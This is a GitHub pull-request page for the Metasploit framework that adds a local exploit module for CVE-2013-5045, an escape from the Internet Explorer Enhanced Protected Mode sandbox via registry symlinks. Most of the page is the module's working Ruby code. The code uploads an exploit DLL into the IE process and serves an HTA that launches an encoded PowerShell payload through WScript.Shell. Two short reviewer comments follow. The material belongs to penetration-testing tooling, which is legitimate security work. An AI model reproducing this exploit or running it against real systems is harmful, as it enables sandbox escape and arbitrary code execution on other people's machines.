-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module for CVE-2013-5045 #3403
Merged
wchen-r7
merged 8 commits into
rapid7:master
from
jvazquez-r7:msms13_097_ie_registry_symlink
Jun 26, 2014
Merged
Changes from 2 commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
6e122e6
Add module for CVE-2013-5045
jvazquez-r7 03889ed
Use cmd_psh_payload
jvazquez-r7 e215bd6
Delete unnecessary code and use get_env
jvazquez-r7 3ae4a16
Clean environment variables
jvazquez-r7 4840a05
Update from rapid7 master
jvazquez-r7 f918bcc
Use powershell instead of mshta
jvazquez-r7 98a06b3
Restore make.msbuild
jvazquez-r7 372a12b
Restore make.msbuild permissions
jvazquez-r7 File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
Binary file not shown.
135 changes: 135 additions & 0 deletions
135
modules/exploits/windows/local/ms13_097_ie_registry_symlink.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,135 @@ | ||
## | ||
# This module requires Metasploit: http//metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
require 'rex' | ||
require 'msf/core/exploit/exe' | ||
require 'msf/core/exploit/powershell' | ||
|
||
class Metasploit3 < Msf::Exploit::Local | ||
Rank = GreatRanking | ||
|
||
include Msf::Exploit::Powershell | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::Remote::HttpServer | ||
include Msf::Post::Windows::Priv | ||
|
||
def initialize(info={}) | ||
super( update_info( info, | ||
'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', | ||
'Description' => %q{ | ||
This module exploits a vulnerability in Internet Explorer Sandbox which allows to | ||
escape the Enhanced Protected Mode and execute code with Medium Integrity. The | ||
vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll | ||
component, which can be abused to force medium integrity IE to user influenced keys. | ||
By using registry symlinks it's possible force IE to add a policy entry in the registry | ||
and finally bypass Enhanced Protected Mode. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'James Forshaw', # Vulnerability Discovery and original exploit code | ||
'juan vazquez' # metasploit module | ||
], | ||
'Platform' => [ 'win' ], | ||
'SessionTypes' => [ 'meterpreter' ], | ||
'Stance' => Msf::Exploit::Stance::Aggressive, | ||
'Targets' => | ||
[ | ||
[ 'IE 8 - 11', { } ] | ||
], | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => "Dec 10 2013", | ||
'References' => | ||
[ | ||
['CVE', '2013-5045'], | ||
['MSB', 'MS13-097'], | ||
['BID', '64115'], | ||
['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] | ||
] | ||
)) | ||
|
||
register_options( | ||
[ | ||
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) | ||
]) | ||
end | ||
|
||
def exploit | ||
print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? | ||
|
||
mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') | ||
if mod_handle['return'] == 0 | ||
fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") | ||
end | ||
|
||
unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] | ||
fail_with(Failure::NotVulnerable, "Not running at Low Integrity") | ||
end | ||
|
||
begin | ||
Timeout.timeout(datastore['DELAY']) { super } | ||
rescue Timeout::Error | ||
end | ||
end | ||
|
||
def primer | ||
hta_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta" | ||
session.railgun.kernel32.SetEnvironmentVariableA("HTA_URL", hta_uri) | ||
|
||
html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" | ||
session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) | ||
|
||
temp = session.sys.config.getenv('TEMP') | ||
|
||
print_status("Loading Exploit Library...") | ||
|
||
session.core.load_library( | ||
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), | ||
'TargetFilePath' => temp + "\\CVE-2013-5045.dll", | ||
'UploadLibrary' => true, | ||
'Extension' => false, | ||
'SaveToDisk' => false | ||
) | ||
end | ||
|
||
def on_request_uri(cli, request) | ||
if request.uri =~ /\.hta$/ | ||
print_status("Sending hta...") | ||
hta = <<-eos | ||
<script> | ||
var command = "#{cmd_psh_payload(payload.encoded).strip}"; | ||
var shell = new ActiveXObject("WScript.Shell"); | ||
shell.Run(command); | ||
</script> | ||
eos | ||
send_response(cli, hta, {'Content-Type'=>'application/hta'}) | ||
elsif request.uri =~ /\.html$/ | ||
print_status("Sending window close html...") | ||
close_html = <<-eos | ||
<html> | ||
<body> | ||
<script> | ||
window.open('', '_self', ''); | ||
window.close(); | ||
</script> | ||
</body> | ||
</html> | ||
eos | ||
send_response(cli, close_html, { 'Content-Type' => 'text/html' }) | ||
else | ||
send_not_found(cli) | ||
end | ||
end | ||
|
||
def get_dll | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This is never called? |
||
path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll") | ||
dll = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } | ||
|
||
dll | ||
end | ||
|
||
end | ||
|
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
get_env